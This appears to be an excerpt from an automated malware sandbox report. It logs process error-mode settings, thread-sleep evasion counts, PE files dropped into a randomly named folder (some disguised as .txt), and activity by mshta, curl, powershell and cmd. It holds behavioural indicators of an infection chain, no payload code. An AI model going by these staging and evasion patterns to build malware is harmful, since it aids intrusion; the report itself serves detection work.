Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\_nczuwk7_H\_nczuwk7_Hi7.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9899	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9871
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9886
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9896
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9909

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_nczuwk7_H\MSVCR100.txt	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_nczuwk7_H\WebView2Loader.dll (copy)	Jump to dropped file
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Dropped PE file which has not been started: C:\_nczuwk7_H\libeay32.dll	Jump to dropped file
Source: C:\_nczuwk7_H\_nczuwk7_H.exe	Dropped PE file which has not been started: C:\_nczuwk7_H\ssleay32.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\_nczuwk7_H\WebView2Loader.txt	Jump to dropped file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4196	Thread sleep count: 9899 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8500	Thread sleep count: 9871 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1600	Thread sleep count: 9886 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4380	Thread sleep count: 9896 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7636	Thread sleep count: 9909 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	File Volume queried: C:\Windows\System32 FullSizeInformation
Source: C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE	File Volume queried: C:\Windows\System32 FullSizeInformation

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior

Source: curl.exe, 00000001.00000003.152823604522.0000000002E8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll<
Source: mshta.exe, 00000000.00000002.154021662792.0000000002FC6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152802670664.0000000003022000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.152803023729.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.154021662792.0000000003022000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
